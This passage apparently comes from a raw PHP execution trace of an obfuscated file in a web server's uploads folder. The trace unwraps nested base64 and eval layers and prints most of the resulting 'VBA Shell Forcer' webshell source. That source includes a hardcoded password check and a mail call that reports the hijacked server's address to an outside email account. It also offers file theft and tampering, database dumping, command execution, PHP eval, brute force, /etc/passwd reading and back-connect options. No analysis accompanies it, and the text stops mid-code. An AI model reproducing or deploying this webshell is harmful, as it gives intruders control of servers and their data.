iBmb3JtZm9vdCgpewoJcCgnPC9mb3JtPicpOwp9CgovLyBFeGl0CmZ1bmN0aW9uIHByKCRhKSB7CgllY2hvICc8cHJlPic7CglwcmludF9yKCRhKTsKCWVjaG8gJzwvcHJlPic7Cn0=\';$b=strrev("46esab").str_replace(\'f\',\'\',\'_fdefcodfe\');eval($b($a));' /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code 1 0
4 A /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $a = 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsK'
5 19 0 0.005640 892728 strrev 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 1 '46esab'
5 19 1 0.005657 892792
5 19 R 'base64'
5 20 0 0.005672 892760 str_replace 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 3 'f' '' '_fdefcodfe'
5 20 1 0.005688 892888
5 20 R '_decode'
4 A /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $b = 'base64_decode'
5 21 0 0.005718 892768 base64_decode 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 1 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsK'
5 21 1 0.006044 995200
5 21 R '/****************************************\\\n|* VBA SHELL FORCER - VERSION 2.1\t*|\n|* Edit & Develop by VBATEAM *|\n|* \t http://vbateam.net \t *|\n|* == Hacking & Security == *|\n\\****************************************/\n\nerror_reporting(7);\n@set_magic_quotes_runtime(0);\nob_start();\n$mtime = explode(\' \', microtime());\n$starttime = $mtime[1] + $mtime[0];\ndefine(\'SA_ROOT\', str_replace(\'\\\\\', \'/\', dirname(__FILE__)).\'/\');\n//define(\'IS_WIN\', strstr(PHP_'
5 22 0 0.009032 1548296 eval 1 '/****************************************\\\n|* VBA SHELL FORCER - VERSION 2.1\t*|\n|* Edit & Develop by VBATEAM *|\n|* \t http://vbateam.net \t *|\n|* == Hacking & Security == *|\n\\****************************************/\n\nerror_reporting(7);\n@set_magic_quotes_runtime(0);\nob_start();\n$mtime = explode(\' \', microtime());\n$starttime = $mtime[1] + $mtime[0];\ndefine(\'SA_ROOT\', str_replace(\'\\\\\', \'/\', dirname(__FILE__)).\'/\');\n//define(\'IS_WIN\', strstr(PHP_OS, \'WIN\') ? 1 : 0 );\ndefine(\'IS_WIN\', DIRECTORY_SEPARATOR == \'\\\\\');\ndefine(\'IS_COM\', class_exists(\'COM\') ? 1 : 0 );\ndefine(\'IS_GPC\', get_magic_quotes_gpc());\n$dis_func = get_cfg_var(\'disable_functions\');\ndefine(\'IS_PHPINFO\', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );\n@set_time_limit(0);\n\nforeach(array(\'_GET\',\'_POST\') as $_request) {\n\tforeach($$_request as $_key => $_value) {\n\t\tif ($_key{0} != \'_\') {\n\t\t\tif (IS_GPC) {\n\t\t\t\t$_value = s_array($_value);\n\t\t\t}\n\t\t\t$$_key = $_value;\n\t\t}\n\t}\n}\n\n/*================= Info Login ================*/\n$admin = array();\n$admin[\'check\'] = true;\n$admin[\'pass\'] = \'1002912b251887b4fe0e5fa1efdbfa06\'; // Password login\n$admin[\'cookiepre\'] = \'\';\n$admin[\'cookiedomain\'] = \'\';\n$admin[\'cookiepath\'] = \'/\';\n$admin[\'cookielife\'] = 86400;\n/*===================== End =====================*/\n\nif ($charset == \'utf8\') {\n\theader("content-Type: text/html; charset=utf-8");\n} elseif ($charset == \'big5\') {\n\theader("content-Type: text/html; charset=big5");\n} elseif ($charset == \'gbk\') {\n\theader("content-Type: text/html; charset=gbk");\n} elseif ($charset == \'latin1\') {\n\theader("content-Type: text/html; charset=iso-8859-2");\n}\n\n$self = $_SERVER[\'PHP_SELF\'] ? $_SERVER[\'PHP_SELF\'] : $_SERVER[\'SCRIPT_NAME\'];\n$timestamp = time();\n\n/*===================== Login =====================*/\nif ($action == "logout") {\n\tscookie(\'vbapass\', \'\', -86400 * 365);\n\tp(\'<meta http-equiv="refresh" content="0;URL=\'.$self.\'">\');\n\tp(\'<body background=black>\');\n\texit;\n}\nif($admin[\'check\']) {\n\tif ($doing == \'login\') {\n\t\tif ($admin[\'pass\'] == md5($password)) {\n\t\t\tscookie(\'vbapass\', md5($password));\n\n// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam\n$time_shell = "".date("d/m/Y - H:i:s")."";\n$ip_remote = $_SERVER["REMOTE_ADDR"];\n$from_shellcode = \'shell@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';\n$to_email = \'xedorac@gmail.com\';\n$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])." - ".$_SERVER[\'HTTP_HOST\']."";\n$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP Excuting: $ip_remote - Time: $time_shell";\n$header = "From: $from_shellcode\\r\\nReply-to: $from_shellcode";\n@mail($to_email, $server_mail, $linkcr, $header);\n\t\t\tp(\'<meta http-equiv="refresh" content="2;URL=\'.$self.\'">\');\n\t\t\tp(\'<body bgcolor=black>\n<BR><BR><div align=center><font color=yellow face=tahoma size=2>Connecting...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>\');\n\t\t\texit;\n\t\t}\n\n\telse\n\t{\n\t$err_mess = \'<table width=100%><tr><td bgcolor=#F0F0F0 width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>\';\necho $err_mess;\n\t}}\n\tif ($_COOKIE[\'vbapass\']) {\n\t\tif ($_COOKIE[\'vbapass\'] != $admin[\'pass\']) {\n\t\t\tloginpage();\n\t\t}\n\t} else {\n\t\tloginpage();\n\t}\n}\n/*===================== Login =====================*/\n\n$errmsg = \'\';\n\nif ($action == \'phpinfo\') {\n\tif (IS_PHPINFO) {\n\t\tphpinfo();\n\t} else {\n\t\t$errmsg = \'phpinfo() function has non-permissible\';\n\t}\n}\n\n\nif ($doing == \'downfile\' && $thefile) {\n\tif (!@file_exists($thefile)) {\n\t\t$errmsg = \'The file you want Downloadable was nonexistent\';\n\t} else {\n\t\t$fileinfo = pathinfo($thefile);\n\t\theader(\'Content-type: application/x-\'.$fileinfo[\'extension\']);\n\t\theader(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);\n\t\theader(\'Content-Length: \'.filesize($thefile));\n\t\t@readfile($thefile);\n\t\texit;\n\t}\n}\n\n\nif ($doing == \'backupmysql\' && !$saveasfile) {\n\tdbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\n\t$table = array_flip($table);\n\t$result = q("SHOW tables");\n\tif (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');\n\t$filename = basename($_SERVER[\'HTTP_HOST\'].\'_MySQL.sql\');\n\theader(\'Content-type: application/unknown\');\n\theader(\'Content-Disposition: attachment; filename=\'.$filename);\n\t$mysqldata = \'\';\n\twhile ($currow = mysql_fetch_array($result)) {\n\t\tif (isset($table[$currow[0]])) {\n\t\t\t$mysqldata .= sqldumptable($currow[0]);\n\t\t}\n\t}\n\tmysql_close();\n\texit;\n}\n\n// Mysql\nif($doing==\'mysqldown\'){\n\tif (!$dbname) {\n\t\t$errmsg = \'Please input dbname\';\n\t} else {\n\t\tdbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\n\t\tif (!file_exists($mysqldlfile)) {\n\t\t\t$errmsg = \'The file you want Downloadable was nonexistent\';\n\t\t} else {\n\t\t\t$result = q("select load_file(\'$mysqldlfile\');");\n\t\t\tif(!$result){\n\t\t\t\tq("DROP TABLE IF EXISTS tmp_angel;");\n\t\t\t\tq("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");\n\t\t\t\t//Download SQL\n\t\t\t\tq("LOAD DATA LOCAL INFILE \'".addslashes($mysqldlfile)."\' INTO TABLE tmp_angel FIELDS TERMINATED BY \'__angel_{$timestamp}_eof__\' ESCAPED BY \'\' LINES TERMINATED BY \'__angel_{$timestamp}_eof__\';");\n\t\t\t\t$result = q("select content from tmp_angel");\n\t\t\t\tq("DROP TABLE tmp_angel");\n\t\t\t}\n\t\t\t$row = @mysql_fetch_array($result);\n\t\t\tif (!$row) {\n\t\t\t\t$errmsg = \'Load file failed \'.mysql_error();\n\t\t\t} else {\n\t\t\t\t$fileinfo = pathinfo($mysqldlfile);\n\t\t\t\theader(\'Content-type: application/x-\'.$fileinfo[\'extension\']);\n\t\t\t\theader(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);\n\t\t\t\theader("Accept-Length: ".strlen($row[0]));\n\t\t\t\techo $row[0];\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\t}\n}\n\n?>\n\n<html>\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8">\n<title><?php echo str_replace(\'.\',\'\',\'The Legend of Vietnamese Hacker World\');?></title>\n<style type="text/css">\nbody,td{font: 10pt Tahoma;color:gray;line-height: 16px;}\n\na {color: #74A202;text-decoration:none;}\na:hover{color: #f00;text-decoration:underline;}\n.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\n.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}\n.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\n.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\n.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}\n.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}\n.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}\n.head td span{font-weight:normal;}\nform{margin:0;padding:0;}\nh2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}\nul.info li{margin:0;color:#444;line-height:24px;height:24px;}\nu{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}\ninput, textarea, button\n{\n\tfont-size: 9pt;\n\tcolor: #ccc;\n\tfont-family: verdana, sans-serif;\n\tbackground-color: #202020;\n\tborder-left: 1px solid #74A202;\n\tborder-top: 1px solid #74A202;\n\tborder-right: 1px solid #74A202;\n\tborder-bottom: 1px solid #74A202;\n}\nselect\n{\n\tfont-size: 8pt;\n\tfont-weight: normal;\n\tcolor: #ccc;\n\tfont-family: verdana, sans-serif;\n\tbackground-color: #202020;\n}\n\n</style>\n<script type="text/javascript">\nfunction CheckAll(form) {\n\tfor(var i=0;i<form.elements.length;i++) {\n\t\tvar e = form.elements[i];\n\t\tif (e.name != \'chkall\')\n\t\te.checked = form.chkall.checked;\n }\n}\nfunction $(id) {\n\treturn document.getElementById(id);\n}\nfunction goaction(act){\n\t$(\'goaction\').action.value=act;\n\t$(\'goaction\').submit();\n}\n</script>\n</head>\n<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>\n\n\n<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">\n\t\t\t\t<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td align="center" valign=center>\n\t\t\t\t <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">\n\t\t\t\t Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">\n\t\t\t\t </div>\n\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t </div>\n <script>\n var ld=(document.all);\n var ns4=document.layers;\n var ns6=document.getElementById&&!document.all;\n var ie4=document.all;\n if (ns4)\n \tld=document.loading;\n else if (ns6)\n \tld=document.getElementById("loading").style;\n else if (ie4)\n \tld=document.all.loading.style;\n function init()\n {\n if(ns4){ld.visibility="hidden";}\n else if (ns6||ie4) ld.display="none";\n }\n </script>\n<table width="100%" border="0" cellpadding="0" cellspacing="0">\n\t<tr class="head_small">\n\t\t<td width=100%>\n\t\t<table width=100%><tr class="head_small"><td>\n\t\t<span style="float:left;"> <?php echo "Hostname: ".$_SERVER[\'HTTP_HOST\']."";?> | <span>[ Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER[\'SERVER_NAME\'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER[\'REMOTE_ADDR\']."</font>";?> ] </span> | <a href="javascript:goaction(\'logout\');"><font color=red> Logout</font></a></span> <br />\n\n\t\t<?php\n\t\t$curl_on = @function_exists(\'curl_version\');\n\t\t$mysql_on = @function_exists(\'mysql_connect\');\n\t\t$mssql_on = @function_exists(\'mssql_connect\');\n\t\t$pg_on = @function_exists(\'pg_connect\');\n\t\t$ora_on = @function_exists(\'ocilogon\');\n\necho (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));\necho "PHP version: <b>".@phpversion()."</b> - ";\n\t\techo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));\n\t\techo "MySQL: <b>";\n$mysql_on = @function_exists(\'mysql_connect\');\nif($mysql_on){\necho "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }\necho "MSSQL: <b>";\n$mssql_on = @function_exists(\'mssql_connect\');\nif($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}\necho "PostgreSQL: <b>";\n$pg_on = @function_exists(\'pg_connect\');\nif($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}\necho "Oracle: <b>";\n$ora_on = @function_exists(\'ocilogon\');\nif($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}\n\necho "Disable functions : <b>";\nif(\'\'==($df=@ini_get(\'disable_functions\'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}\n\necho "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";\necho "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";\n\t\t?>\n\t\t</td></tr></table></td>\n\t</tr>\n\t<tr class="alt1">\n\t\t<td width=10%>\n\t\t\t\n\t\t\t<a href="javascript:goaction(\'file\');">File Manager</a> |\n\t\t\t<a href="javascript:goaction(\'sqladmin\');">MySQL Manager</a> |\n\t\t\t<a href="javascript:goaction(\'sqlfile\');">MySQL Upload & Download</a> |\n\t\t\t<a href="javascript:goaction(\'shell\');">Execute Command</a> |\n\t\t\t<a href="javascript:goaction(\'phpenv\');">PHP Variable</a> |\n\t\t\t<a href="javascript:goaction(\'eval\');">Eval PHP Code</a>\n\t\t\t<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'brute\');">Brute</a> <?php }?>\n\t\t\t<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'etcpwd\');">/etc/passwd</a> <?php }?>\n\t\t\t<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'backconnect\');">Back Connect</a><?php }?>\n\t\t</td>\n\t</tr>\n</table>\n<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>\n<?php\n\nformhead(array(\'name\'=>\'goaction\'));\nmakehide(\'action\');\nformfoot();\n\n$errmsg && m($errmsg);\n\n// Dir function\n!$dir && $dir = \'.\';\n$nowpath = getPath(SA_ROOT, $dir);\nif (substr($dir, -1) != \'/\') {\n\t$dir = $dir.\'/\';\n}\n$uedir = ue($dir);\n\nif (!$action || $action == \'file\') {\n\n\t// Non-writeable\n\t$dir_writeable = @is_writable($nowpath) ? \'Writable\' : \'Non-writable\';\n\n\t// Delete dir\n\tif ($doing == \'deldir\' && $thefile) {\n\t\tif (!file_exists($thefile)) {\n\t\t\tm($thefile.\' directory does not exist\');\n\t\t} else {\n\t\t\tm(\'Directory delete \'.(deltree($thefile) ? basename($thefile).\' success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Create new dir\n\telseif ($newdirname) {\n\t\t$mkdirs = $nowpath.$newdirname;\n\t\tif (file_exists($mkdirs)) {\n\t\t\tm(\'Directory has already existed\');\n\t\t} else {\n\t\t\tm(\'Directory created \'.(@mkdir($mkdirs,0777) ? \'success\' : \'failed\'));\n\t\t\t@chmod($mkdirs,0777);\n\t\t}\n\t}\n\n\t// Upload file\n\telseif ($doupfile) {\n\t\tm(\'File upload \'.(@copy($_FILES[\'uploadfile\'][\'tmp_name\'],$uploaddir.\'/\'.$_FILES[\'uploadfile\'][\'name\']) ? \'success\' : \'failed\'));\n\t}\n\n\t// Edit file\n\telseif ($editfilename && $filecontent) {\n\t\t$fp = @fopen($editfilename,\'w\');\n\t\tm(\'Save file \'.(@fwrite($fp,$filecontent) ? \'success\' : \'failed\'));\n\t\t@fclose($fp);\n\t}\n\n\t// Modify\n\telseif ($pfile && $newperm) {\n\t\tif (!file_exists($pfile)) {\n\t\t\tm(\'The original file does not exist\');\n\t\t} else {\n\t\t\t$newperm = base_convert($newperm,8,10);\n\t\t\tm(\'Modify file attributes \'.(@chmod($pfile,$newperm) ? \'success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Rename\n\telseif ($oldname && $newfilename) {\n\t\t$nname = $nowpath.$newfilename;\n\t\tif (file_exists($nname) || !file_exists($oldname)) {\n\t\t\tm($nname.\' has already existed or original file does not exist\');\n\t\t} else {\n\t\t\tm(basename($oldname).\' renamed \'.basename($nname).(@rename($oldname,$nname) ? \' success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Copu\n\telseif ($sname && $tofile) {\n\t\tif (file_exists($tofile) || !file_exists($sname)) {\n\t\t\tm(\'The goal file has already existed or original file does not exist\');\n\t\t} else {\n\t\t\tm(basename($tofile).\' copied \'.(@copy($sname,$tofile) ? basename($tofile).\' success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// File exit\n\telseif ($curfile && $tarfile) {\n\t\tif (!@file_exists($curfile) || !@file_exists($tarfile)) {\n\t\t\tm(\'The goal file has already existed or original file does not exist\');\n\t\t} else {\n\t\t\t$time = @filemtime($tarfile);\n\t\t\tm(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Date\n\telseif ($curfile && $year && $month && $day && $hour && $minute && $second) {\n\t\tif (!@file_exists($curfile)) {\n\t\t\tm(basename($curfile).\' does not exist\');\n\t\t} else {\n\t\t\t$time = strtotime("$year-$month-$day $hour:$minute:$second");\n\t\t\tm(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Download\n\telseif($doing == \'downrar\') {\n\t\tif ($dl) {\n\t\t\t$dfiles=\'\';\n\t\t\tforeach ($dl as $filepath => $value) {\n\t\t\t\t$dfiles.=$filepath.\',\';\n\t\t\t}\n\t\t\t$dfiles=substr($dfiles,0,strlen($dfiles)-1);\n\t\t\t$dl=explode(\',\',$dfiles);\n\t\t\t$zip=new PHPZip($dl);\n\t\t\t$code=$zip->out;\n\t\t\theader(\'Content-type: application/octet-stream\');\n\t\t\theader(\'Accept-Ranges: bytes\');\n\t\t\theader(\'Accept-Length: \'.strlen($code));\n\t\t\theader(\'Content-Disposition: attachment;filename=\'.$_SERVER[\'HTTP_HOST\'].\'_Files.tar.gz\');\n\t\t\techo $code;\n\t\t\texit;\n\t\t} else {\n\t\t\tm(\'Please select file(s)\');\n\t\t}\n\t}\n\n\t// Delete file\n\telseif($doing == \'delfiles\') {\n\t\tif ($dl) {\n\t\t\t$dfiles=\'\';\n\t\t\t$succ = $fail = 0;\n\t\t\tforeach ($dl as $filepath => $value) {\n\t\t\t\tif (@unlink($filepath)) {\n\t\t\t\t\t$succ++;\n\t\t\t\t} else {\n\t\t\t\t\t$fail++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tm(\'Deleted file have finished??choose \'.count($dl).\' success \'.$succ.\' fail \'.$fail);\n\t\t} else {\n\t\t\tm(\'Please select file(s)\');\n\t\t}\n\t}\n\n\t// Function Newdir\n\tformhead(array(\'name\'=>\'createdir\'));\n\tmakehide(\'newdirname\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'fileperm\'));\n\tmakehide(\'newperm\');\n\tmakehide(\'pfile\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'copyfile\'));\n\tmakehide(\'sname\');\n\tmakehide(\'tofile\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'rename\'));\n\tmakehide(\'oldname\');\n\tmakehide(\'newfilename\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'fileopform\'));\n\tmakehide(\'action\');\n\tmakehide(\'opfile\');\n\tmakehide(\'dir\');\n\tformfoot();\n\n\t$free = @disk_free_space($nowpath);\n\t!$free && $free = 0;\n\t$all = @disk_total_space($nowpath);\n\t!$all && $all = 0;\n\t$used = $all-$free;\n\t$used_percent = @round(100/($all/$free),2);\n\tp(\'<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>\'.sizecount($free).\'</font> of <font color=red>\'.sizecount($all).\'</font> (<font color=red>\'.$used_percent.\'</font>%)</font>\');\n\n?>\n<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">\n <form action="" method="post" id="godir" name="godir">\n <tr>\n <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>\n\t<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>\n <td nowrap><input class="bt" value="GO" type="submit"></td>\n </tr>\n </form>\n</table>\n<script type="text/javascript">\nfunction createdir(){\n\tvar newdirname;\n\tnewdirname = prompt(\'Please input the directory name:\', \'\');\n\tif (!newdirname) return;\n\t$(\'createdir\').newdirname.value=newdirname;\n\t$(\'createdir\').submit();\n}\nfunction fileperm(pfile){\n\tvar newperm;\n\tnewperm = prompt(\'Current file:\'+pfile+\'\\nPlease input new attribute:\', \'\');\n\tif (!newperm) return;\n\t$(\'fileperm\').newperm.value=newperm;\n\t$(\'fileperm\').pfile.value=pfile;\n\t$(\'fileperm\').submit();\n}\nfunction copyfile(sname){\n\tvar tofile;\n\ttofile = prompt(\'Original file:\'+sname+\'\\nPlease input object file (fullpath):\', \'\');\n\tif (!tofile) return;\n\t$(\'copyfile\').tofile.value=tofile;\n\t$(\'copyfile\').sname.value=sname;\n\t$(\'copyfile\').submit();\n}\nfunction rename(oldname){\n\tvar newfilename;\n\tnewfilename = prompt(\'Former file name:\'+oldname+\'\\nPlease input new filename:\', \'\');\n\tif (!newfilename) return;\n\t$(\'rename\').newfilename.value=newfilename;\n\t$(\'rename\').oldname.value=oldname;\n\t$(\'rename\').submit();\n}\nfunction dofile(doing,thefile,m){\n\tif (m && !confirm(m)) {\n\t\treturn;\n\t}\n\t$(\'filelist\').doing.value=doing;\n\tif (thefile){\n\t\t$(\'filelist\').thefile.value=thefile;\n\t}\n\t$(\'filelist\').submit();\n}\nfunction createfile(nowpath){\n\tvar filename;\n\tfilename = prompt(\'Please input the file name:\', \'\');\n\tif (!filename) return;\n\topfile(\'editfile\',nowpath + filename,nowpath);\n}\nfunction opfile(action,opfile,dir){\n\t$(\'fileopform\').action.value=action;\n\t$(\'fileopform\').opfile.value=opfile;\n\t$(\'fileopform\').dir.value=dir;\n\t$(\'fileopform\').submit();\n}\nfunction godir(dir,view_writable){\n\tif (view_writable) {\n\t\t$(\'godir\').view_writable.value=1;\n\t}\n\t$(\'godir\').dir.value=dir;\n\t$(\'godir\').submit();\n}\n</script>\n <?php\n\ttbhead();\n\tp(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">\');\n\tp(\'<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="\'.$dir.\'" type="hidden" /><input name="dir" value="\'.$dir.\'" type="hidden" /></div>\');\n\tp(\'<a href="javascript:godir(\\\'\'.$_SERVER["DOCUMENT_ROOT"].\'\\\');">WebRoot</a>\');\n\tif ($view_writable) {\n\t\tp(\' | <a href="javascript:godir(\\\'\'.$nowpath.\'\\\');">View All</a>\');\n\t} else {\n\t\tp(\' | <a href="javascript:godir(\\\'\'.$nowpath.\'\\\',\\\'1\\\');">View Writable</a>\');\n\t}\n\tp(\' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\\\'\'.$nowpath.\'\\\');">Create File</a>\');\n\tif (IS_WIN && IS_COM) {\n\t\t$obj = new COM(\'scripting.filesystemobject\');\n\t\tif ($obj && is_object($obj)) {\n\t\t\t$DriveTypeDB = array(0 => \'Unknow\',1 => \'Removable\',2 => \'Fixed\',3 => \'Network\',4 => \'CDRom\',5 => \'RAM Disk\');\n\t\t\tforeach($obj->Drives as $drive) {\n\t\t\t\tif ($drive->DriveType == 2) {\n\t\t\t\t\tp(\' | <a href="javascript:godir(\\\'\'.$drive->Path.\'/\\\');" title="Size:\'.sizecount($drive->TotalSize).\' Free:\'.sizecount($drive->FreeSpace).\' Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');\n\t\t\t\t} else {\n\t\t\t\t\tp(\' | <a href="javascript:godir(\\\'\'.$drive->Path.\'/\\\');" title="Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tp(\'</td></tr></form>\');\n\n\tp(\'<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>\');\n\n\t// Get path\n\t$dirdata=array();\n\t$filedata=array();\n\n\tif ($view_writable) {\n\t\t$dirdata = GetList($nowpath);\n\t} else {\n\t\t// Open dir\n\t\t$dirs=@opendir($dir);\n\t\twhile ($file=@readdir($dirs)) {\n\t\t\t$filepath=$nowpath.$file;\n\t\t\tif(@is_dir($filepath)){\n\t\t\t\t$dirdb[\'filename\']=$file;\n\t\t\t\t$dirdb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));\n\t\t\t\t$dirdb[\'dirchmod\']=getChmod($filepath);\n\t\t\t\t$dirdb[\'dirperm\']=getPerms($filepath);\n\t\t\t\t$dirdb[\'fileowner\']=getUser($filepath);\n\t\t\t\t$dirdb[\'dirlink\']=$nowpath;\n\t\t\t\t$dirdb[\'server_link\']=$filepath;\n\t\t\t\t$dirdb[\'client_link\']=ue($filepath);\n\t\t\t\t$dirdata[]=$dirdb;\n\t\t\t} else {\n\t\t\t\t$filedb[\'filename\']=$file;\n\t\t\t\t$filedb[\'size\']=sizecount(@filesize($filepath));\n\t\t\t\t$filedb[\'mtime\']=@date(\'Y-m-d 